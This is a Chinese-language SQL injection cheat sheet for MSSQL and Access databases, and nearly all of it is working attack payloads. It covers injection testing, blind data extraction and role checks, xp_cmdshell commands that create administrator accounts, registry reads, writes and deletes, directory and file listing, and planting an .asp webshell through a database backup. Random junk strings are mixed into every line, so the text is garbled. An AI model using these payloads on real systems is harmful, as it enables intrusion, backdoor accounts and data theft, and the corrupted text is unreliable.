1.判断是否有注入;and 1=1 ;and 1=2 JEgx@};O
2.初步判断是否是mssql ;and user>0 z,bQQ;z9
~JDnKo
3.注入参数是字符'and [查询条件] and ''=' `zt_7MD
Vy,^)]
4.搜索时没过滤参数的'and [查询条件] and '%25'=' O
Wj@<N
k{$ ao
5.判断数据库系统 (%o2jroQ#
ku
a)
K!
;and (select count(*) from sysobjects)>0 mssql 0}xFD6{X
]mXLg:3B
;and (select count(*) from msysobjects)>0 access |7pR)KH3
\Z/)Y;|mi0
]&{ ci
o9S+6@
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Kmv+1T0,
S&Ee,((E(
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 d)R352
/?1nHBYPM
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 dwv 6;x
Cssl{B
9.(1)猜字段的ascii值(access) ;h" P{fF
JS>Gd/Jd
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 _fP&&}
R$Tp8G>j
(2)猜字段的ascii值(mssql) `VL}.h
#I3$3^0i#
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 (q7
Ry4-
\7
NpT}dj
10.测试权限结构(mssql) ~/ilx#d
^F"iP7
@*DyZB
-+em!g'
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 'EfR|7m
hy T1xa
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- k8uvNLA)a
{E0z@D)U-
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5pRV3K{H
j]m|7]
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- V@QK
TSsKfexQ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- y tf b$;|
\yGsr Bl
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- N#_GJSG_|
V)i5=bHC
;and 1=(select IS_MEMBER('db_owner'));-- O8W7<Wc|z
@hImk`&[N
BiZ=${y
ii0Ce}8d~
11.添加mssql和系统的帐户 y{a$y}7#X
"A)("
;exec master.dbo.sp_addlogin username;-- xN@Pz)yo
;exec master.dbo.sp_password null,username,password;-- R1W}dRE}
c$QX)V
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- M}wXJ8aF?
5 VA(tzmCt
;exec master.dbo.xp_cmdshell 'net user username password q0bHB_|wL
!HJ$UG/\
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- )I-f U4?
7 #=}:3c
;exec master.dbo.xp_cmdshell 'net user username password /add';-- N8`4veVBx'
DF{Qw@P!
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- P0-Fc@&Y
x/:4{
:ECi+DxBK
}V|{lvt.
12.(1)遍历目录 sW^a`VM
rqlc2m,<-p
;create table dirs(paths varchar(100), id int) ^U8r0]9
^:jN3@Q%
;insert dirs exec master.dbo.xp_dirtree 'c:\' yRYWch
s$*'^:
;and (select top 1 paths from dirs)>0 x)_@9ldYv
m%8qZzqk
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;!T{%-tP
?n\*,{9
@E53JKYhY
P~FUS%39"o
(2)遍历目录 :9|W#d{o
j` /&r*zNq
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- [;b=A
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Fequm+
-n? g~(/P
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 zK+52jhi
OW(&s,|6x
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Ih[+K#t+E
Zzl,gy70
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2`=6 %s
:;!\vfZbU
'iLH `WE
;bX4(CMe
&
13.mssql中的存储过程 H2-28XGc
oAZh~~tp
xp_regenumvalues 注册表根键, 子键 te4= S
VRW]a
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 AP\ofLmq
v1.q$ f^(
xp_regread 根键,子键,键值名 vG2b:[W
<39!G7ny
;exec xp_regread lKEa)KF[
(HN4g;{
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 k,Zm GllQ]
p'{xoV
xp_regwrite 根键,子键, 值名, 值类型, 值 })IO#,
Q:|w%L*E
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 "MiD8wX-
:'r6TVDW
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Y+/lX 6'
mi2o1"Jd$`
xp_regdeletevalue 根键,子键,值名 Gr(|Ra.
>LF&EM]
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !
qJI'+_
e^$j5jV
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 H%z@h~s>
.#5l$['
ER{3,0U
$'[q4 wo<
14.mssql的backup创建webshell \`xkp[C
*,\` o~
use model XvSIWs
}+Vv0jX|V
create table cmd(str image); IdM*5Y>f
qSO*$1i
insert into cmd(str) values (''); 5QWNZJ&}d
,dd WBwMK
backup database model to disk='c:\l.asp'; Pcu|k/tk
lz~J"$b
s([Wn)I
c!uW}U_z
15.mssql内置函数 chAan~r[*
(=T$_-Dj`}
;and (select @@version)>0 获得Windows的版本号 =J|sbY"]
<5Mrp"C[i
;and user_name()='dbo' 判断当前系统的连接用户是不是sa }G1&]Wt_
;~sr$6
;and (select user_name())>0 爆当前系统的连接用户 y>(rZ^y&
PtKTm\,JL0
;and (select db_name())>0 得到当前连接的数据库 Ws49ImCB
X$wehMBX
ibF#$&!
GF--riyfB
16.简洁的webshell iY.eJlfH
Ls:=A6AGM
use model ->yeJTsE9
Uk-HP\C"7
create table cmd(str image); hr U :Wr
X_70]^XL
insert into cmd(str) values (''); mPmB6q%)]
\].J-^=
backup database model to disk='g:\wwwtest\l.asp';